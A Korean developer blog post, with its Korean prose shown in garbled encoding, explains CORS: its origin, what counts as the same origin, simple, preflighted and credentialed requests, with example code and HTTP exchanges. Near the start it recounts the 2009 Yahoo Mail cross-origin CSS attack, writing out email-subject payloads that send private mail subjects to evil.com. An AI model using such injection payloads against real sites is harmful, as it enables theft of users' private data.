๐จ Access to fetch at โhttps://api.lubycon.com/meโ from origin โhttp://localhost:3000โ has been blocked by CORS policy: No โAccess-Control-Allow-Originโ header is present on the requested resource. If an opaque response serves your needs, set the requestโs mode to โno-corsโ to fetch the resource with CORS disabled.
๊ฐ๋ฐ์ ํ๋ค๋ณด๋ฉด ํ๋ฒ์ฏค ๋ง์ฃผ์ณค์ ๋ฉ์์ง ์
๋๋ค.
CORS๋ฅผ ์๋ฐํ๊ณ , 'Access-Control-Allow-Origin' ํค๋๋ฅผ ์์ ํ๊ฑฐ๋ cors๊ฐ ํ์์๋ ์์ฒญ์ ํ๋ผ๋ ํด๊ฒฐ๋ฐฉ๋ฒ์ ์๋ ค์ฃผ๊ณ ์์ต๋๋ค.
์ฌ๊ธฐ์ CORS๋ ๋ฌด์์ผ๊น์?
๊ฐ๋ ์ ์ดํดํ๋ ๋ฐฉ๋ฒ ์ค ๊ฐ์ฅ ์ข์ ๋ฐฉ๋ฒ์ ์ ์ด ๊ฐ๋ ์ด ์๊ฒผ๋์ง ์์๋ณด๋๊ฒ ์ข์ต๋๋ค.
๋ธ๋ผ์ฐ์ ๋ ๊ฑฐ์ 30๋ ๋์ ๋ค๋ฅธ ์ฌ์ดํธ์ ์ด๋ฏธ์ง๋ฅผ ํฌํจํ ์ ์์์ต๋๋ค. ๋ค๋ฅธ ์ฌ์ดํธ์ ํ๋ฝ์ ๋ฐ์ ํ์ ์์ด ๊ทธ๋ฅ ํ ์ ์์์ต๋๋ค. ์ด๋ฏธ์ง๋ฟ๋ง ์๋๋ผ ๋ค๋ฅธ ์์๋ ๊ฐ์ ธ์ค๋ ๊ฒ์ด ๊ฐ๋ฅํ์ต๋๋ค.
<script src="โฆ"></script>
<link rel="stylesheet" href="โฆ" />
<iframe src="โฆ"></iframe>
<video src="โฆ"></video>
<audio src="โฆ"></audio>
ํ์ง๋ง ์ด๋ฐ ๋ฐฉ์์ 1994๋ ์ HTTP ์ฟ ํค ๋ฑ์ฅ์ผ๋ก ๋ณต์กํด์ง๊ธฐ ์์ํ์ต๋๋ค. HTTP ํค๋์ ์ธ์ฆ ์ ๋ณด๊ฐ ํฌํจ์ด ๋์๊ธฐ ๋๋ฌธ์ ๋๋ค.
์๋ฒ๋ HTTP ํค๋์ ์ธ์ฆ ์ ๋ณด๋ฅผ ์ฌ์ฉํด์ ์ฌ์ฉ์๋ฅผ ํน์ ํฉ๋๋ค.
๊ณต๊ฒฉ์๋ ์ด๋ฐ ํน์ ์ ์ด์ฉํด์ ์ทจ์ฝ์ ์ ์ฐพ๊ธฐ ์์ํ์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก, 2009๋ ์ผํ ๋ฉ์ผ์ ์ทจ์ฝ์ ์ด ๋ฐํ์ก์ต๋๋ค.
๋จผ์ , ๊ณต๊ฒฉ์๋ ');}
๋ฅผ ํฌํจํ ์ ๋ชฉ์ ์ ์ ๊ฒ ๋ณด๋ธ ํ {}html{background:url('//evil.com/?:
๊ฐ ํฌํจ๋ ์ ๋ชฉ์ ๋ฉ์ผ์ ๋ณด๋
๋๋ค.
๊ทธ๋ผ, ๋ฉ์ผ์ด ์๋์ ๊ฐ์ ๊ตฌ์กฐ๋ก ์ ๋ฌ๋ ๊ฒ ์ ๋๋ค.
โฆ
<li class="email-subject">Hey {}html{background:url('//evil.com/?</li>
<li class="email-subject">โฆprivate dataโฆ</li>
<li class="email-subject">โฆprivate dataโฆ</li>
<li class="email-subject">โฆprivate dataโฆ</li>
<li class="email-subject">Yo ');}</li>
โฆ
์ ๊ตฌ์กฐ์์ ๊ณต๊ฒฉ์๊ฐ ์คํ๋๊ธฐ ์ํ๋ ์ฝ๋๋ ์ ํจํ CSS ๊ตฌ๋ฌธ ๋ถ์ ๋์ ์ฌ์ด์ ๋ผ์ด ์์ต๋๋ค.
๋ค์์ ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์๊ฐ ๋ค์์ ํฌํจํ๋ ํ์ด์ง๋ฅผ ๋ฐฉ๋ฌธ ํ๋๋ก ์ ๋ํฉ๋๋ค.
<link rel="stylesheet" href="https://m.yahoo.com/mail" />
ํด๋น ์์์ด yahoo.com
์ ์ฟ ํค๋ฅผ ์ด์ฉํด ๋ก๋๋๋ฉด CSS ํ์๋ ๋ฏธ๋ฆฌ ์ฌ์ด๋์๋ ๋ฉ์ผ ์ ๋ชฉ์ ๊ตฌ๋ฌธ ๋ถ์ํ์ฌ ๊ฐ์ธ ์ ๋ณด๋ฅผ evil.com
์ ๋ณด๋ด๊ฒ ๋ฉ๋๋ค.
์๋ก ๋ค๋ฅธ ์ฌ์ดํธ์ ์ ๊ทผ์ ํ์ฉํ์ ๋ ๋ฐ์ํ ์ ์๋ ๋ฌธ์ ๋ ์ด๊ฒ ๋ง๊ณ ๋ ๋ค์ํฉ๋๋ค.
์์์ ์๋ก ๋ค๋ฅธ ์ฌ์ดํธ์ ์ ๊ทผ์ ํ์ฉํ์ ๋ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ค๋ ๊ฒ์ ์๊ฒ ๋์์ต๋๋ค. ์ด๋ฐ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํ ๋ฐฉ๋ฒ ์ค ํ๋๊ฐ CORS ์ ๋๋ค.
CORS์ ์ ์๋ ์๋์ ๊ฐ์ต๋๋ค.
๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค ๊ณต์ (Cross-Origin Resource Sharing, CORS)๋ ์ถ๊ฐ HTTP ํค๋๋ฅผ ์ฌ์ฉํ์ฌ, ํ ์ถ์ฒ์์ ์คํ ์ค์ธ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋ค๋ฅธ ์ถ์ฒ์ ์ ํํ ์์์ ์ ๊ทผํ ์ ์๋ ๊ถํ์ ๋ถ์ฌํ๋๋ก ๋ธ๋ผ์ฐ์ ์ ์๋ ค์ฃผ๋ ์ฒด์ ์ ๋๋ค.
๊ฐ๋จํ ์ด์ผ๊ธฐํ๋ฉด CORS๋ ๋ธ๋ผ์ฐ์ ์์๋ง ์ฌ์ฉ ๋๋ฉฐ, ๊ฐ์ ์ถ์ฒ์ ์๋ฒ๊ฐ ํ์ฉํด์ค ์ถ์ฒ๋ง์ด ์์์ ์ ๊ทผํ ์ ์๊ฒ ํ๋ ์ ์ฑ ์ ๋๋ค.
์ถ์ฒ๋ผ๋ ์ฉ์ด๊ฐ ๋ง์ด ๋์ต๋๋ค. ์ถ์ฒ๋ ๋ฌด์์ผ๊น์?
www.google.com
๊ฐ์ ์ฐ๋ฆฌ๊ฐ ํํ ๋ณด๋ URL์ ์ฌ๋ฌ๊ฐ์ ์ปดํฌ๋ํธ๋ก ์ด๋ฃจ์ด์ ธ์์ต๋๋ค.
์ถ์ฒ๋ ์์ ๊ตฌ์กฐ์์ scheme๊ณผ host, port๋ฅผ ํฉ์น ๊ฒ์ ์๋ฏธ ํฉ๋๋ค.
https://evan-moon.github.io
์ ๊ฐ์ ์ถ์ฒ๋ ์ธ์ ๋๋ ์์๋ ์๋์ ๊ฐ์ต๋๋ค.
URL | ๊ฐ์ ์ถ์ฒ | ์ด์ |
---|---|---|
https://evan-moon.github.io/about | O | ์คํด, ํธ์คํธ, ํฌํธ๊ฐ ๋์ผ |
https://evan-moon.github.io/about?q=์๋ฝ | O | ์คํด, ํธ์คํธ, ํฌํธ๊ฐ ๋์ผ |
https://user:password@evan-moon.github.io | O | ์คํด, ํธ์คํธ, ํฌํธ๊ฐ ๋์ผ |
http://evan-moon.github.io | X | ์คํด์ด ๋ค๋ฆ |
https://api.github.io | X | ํธ์คํธ๊ฐ ๋ค๋ฆ |
https://evan-moon.naver.com | X | ํธ์คํธ๊ฐ ๋ค๋ฆ |
https://evan-moon.github.com | X | ํธ์คํธ๊ฐ ๋ค๋ฆ |
https://evan-moon.github.io:8000 | ? | ๋ธ๋ผ์ฐ์ ์ ๊ตฌํ์ ๋ฐ๋ผ ๋ค๋ฆ |
๊ทธ๋์ CORS๋ ์ธ์ , ์ด๋ป๊ฒ ์ฌ์ฉ์ด ๋ ๊น์?
์๋ HTTP ์์ฒญ์ ๋ํด์ CORS๋ ๋์ํฉ๋๋ค.
drawImage()
๋ฅผ ์ฌ์ฉํด canvas์ Image/Video ํ๋ ์์ ๊ทธ๋ฆฌ๋ ๊ฒฝ์ฐCORS์ ๊ด๋ จ๋ ์๋๋ฆฌ์ค๋ ์ด 3๊ฐ์ง๊ฐ ์์ต๋๋ค.
ํน์ ์กฐ๊ฑด์ ๊ฐ์ง ์์ฒญ์ CORS๊ฐ ํ์ํ์ง ์์ต๋๋ค. ์ด ์์ฒญ์ ์ฐ๋ฆฌ๋ Simple Request
๋ผ๊ณ ๋ถ๋ฆ
๋๋ค.
Simple Request์ ์กฐ๊ฑด์ ์๋์ ๊ฐ์ต๋๋ค.
GET
, HEAD
, POST
๋ฐฉ๋ฒ ์ค ํ๋Accept
, Accept-Language
, Content-Language
, Content-Type
applicatoin/x-www-form-urlencoded
, multipart/form-data
, text/plain
XMLHttpRequest
๋ก ์ํด ๋ง๋ค์ด์ก๋ค๋ฉด, ์ด๋ฒคํธ ๋ฆฌ์ค๋๊ฐ ๋ฑ๋ก๋์ด ์์ง ์์์ผ ํฉ๋๋ค.ReadableStream
๊ฐ์ฒด๋ฅผ request์์ ์ฌ์ฉํ๋ฉด ์๋ฉ๋๋ค.const xhr = new XMLHttpRequest();
const url = 'https://bar.other/resources/public-data/';
xhr.open('GET', url);
xhr.onreadystatechange = someHandler;
xhr.send();
GET /resources/public-data/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://foo.example
simple request์ ๋ฌ๋ฆฌ ๋ณธ ์์ฒญ ์ ์ OPTIONS
๋ฐฉ๋ฒ์ ์ฌ์ฉํ์ฌ HTTP ์์ฒญ์ ๋ณด๋ด ๋ณธ ์์ฒญ์ด ์์ ํ์ง ํ์ธ ํฉ๋๋ค.
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
OPTIONS /doc HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://foo.example
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
Vary: Accept-Encoding, Origin
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
line 1-10์ preflight request๋ฅผ ์ด์ผ๊ธฐ ํฉ๋๋ค. ๋ธ๋ผ์ฐ์ ๋ preflight๋ฅผ ํตํด์ ๋ณธ ์์ฒญ์ด ๊ฐ๋ฅํ์ง ํ์ธ ํฉ๋๋ค. preflight๋ ๋ณธ ์์ฒญ์ ํ์ํ ์ ๋ณด๋ ๋ฏธ๋ฆฌ ๋ณด๋ ๋๋ค. 9-10 ๋ผ์ธ
Access-Control-Request-Method
๋ ๋ฉ์๋๋ฅผ Access-Control-Request-Header
๋ ๋ณธ ์์ฒญ์ ์ปค์คํ
ํค๋์ ๋ํ ์ ๋ณด๊ฐ ํฌํจ๋ฉ๋๋ค.
line 13-22๋ ์๋ฒ๊ฐ ์ ๋ฌํด์ค response ์
๋๋ค. Access-Control-Allow-Origin
์๋ https://foo.examlple
์ด ํฌํจ๋์ด ์์ต๋๋ค.
Access-Control-*
์ ๋ํ ์ค๋ช
๋ณธ ์์ฒญ์ ๋ํ request์ response๋ ์๋์ ๊ฐ๋ค.
POST /doc HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
X-PINGOTHER: pingpong
Content-Type: text/xml; charset=UTF-8
Referer: https://foo.example/examples/preflightInvocation.html
Content-Length: 55
Origin: https://foo.example
Pragma: no-cache
Cache-Control: no-cache
<person><name>Arun</name></person>
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:40 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://foo.example
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 235
Keep-Alive: timeout=2, max=99
Connection: Keep-Alive
Content-Type: text/plain
[Some XML payload]
์ธ์ฆ์ ๋ณด๋ฅผ ํฌํจํ๋ ์์ฒญ์ CORS๋ฅผ ๋ ๊ฐํํ ์์ฒญ์ ๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก ๋ธ๋ผ์ฐ์ ๊ฐ ์ ๊ณตํ๋ AJAX API์ธ XMLHttpRequst
๊ฐ์ฒด๋ fetch
API๋ ์ฟ ํค ์ ๋ณด๋ ์ธ์ฆ๊ณผ ๊ด๋ จ๋ ํค๋๋ฅผ ์์ฒญ์ ํฌํจํ์ง ์์ต๋๋ค. ์ด๋ ์์ฒญ์ ์ธ์ฆ๊ณผ ๊ด๋ จ๋ ์ ๋ณด๋ฅผ ๋ด์ ์ ์๊ฒ ํด์ฃผ๋ ์ต์
์ด credntials
์ต์
์
๋๋ค.
const invocation = new XMLHttpRequest();
const url = 'http://bar.other/resources/credentialed-content/';
function callOtherDomain() {
if (invocation) {
invocation.open('GET', url, true);
invocation.withCredentials = true;
invocation.onreadystatechange = handler;
invocation.send();
}
}
invocatoin.withCredentials
๋ ์ธ์ฆ ์ ๋ณด๋ฅผ ์ฟ ํค์ ํฌํจํ๋ค๋ ํ๋๊ทธ ์
๋๋ค. ์ ์์ฒญ์ simple request
์ด์ง๋ง ๋ธ๋ผ์ฐ์ ๋ Access-Control-Allow-Credentials : true
ํค๋๊ฐ ์๋ ์๋ต์ ๊ฑฐ๋ถํฉ๋๋ค.
GET /resources/credentialed-content/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Referer: http://foo.example/examples/credential.html
Origin: http://foo.example
Cookie: pageAccess=2
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:34:52 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://foo.example
Access-Control-Allow-Credentials: true
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 106
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
[text/plain payload]